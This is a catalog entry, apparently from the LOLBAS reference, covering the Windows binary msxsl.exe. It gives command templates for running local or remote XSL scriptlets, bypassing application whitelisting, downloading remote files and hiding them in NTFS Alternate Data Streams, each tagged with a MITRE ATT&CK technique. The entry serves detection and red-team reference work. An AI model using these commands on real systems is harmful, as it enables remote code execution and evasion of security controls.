DΛΣMӨП

Catalog LOLBAS

LOL · OtherMSBinary

msxsl.exe

6 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Run COM Scriptlet code within the script.xsl file (local).

Use Local execution of script stored in XSL file.

msxsl.exe {PATH:.xml} {PATH:.xsl}
Context
user
Native
Execute
MITRE
T1220

AWL Bypass

AWL / Policy Bypass Windows

Run COM Scriptlet code within the script.xsl file (local).

Use Local execution of script stored in XSL file.

msxsl.exe {PATH:.xml} {PATH:.xsl}
Context
user
Native
AWL Bypass
MITRE
T1220

Execute

Execution Windows

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use Local execution of remote script stored in XSL script stored as an XML file.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
Context
user
Native
Execute
MITRE
T1220

AWL Bypass

AWL / Policy Bypass Windows

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use Local execution of remote script stored in XSL script stored as an XML file.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
Context
user
Native
AWL Bypass
MITRE
T1220

Download

File Download Windows

Using remote XML and XSL files, save the transformed XML file to disk.

Use Download a file from the internet and save it to disk.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
Context
user
Native
Download
MITRE
T1105

ADS

Defense EvasionFile Write Windows

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

Use Download a file from the internet and save it to an NTFS Alternate Data Stream.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
Context
user
Native
ADS
MITRE
T1564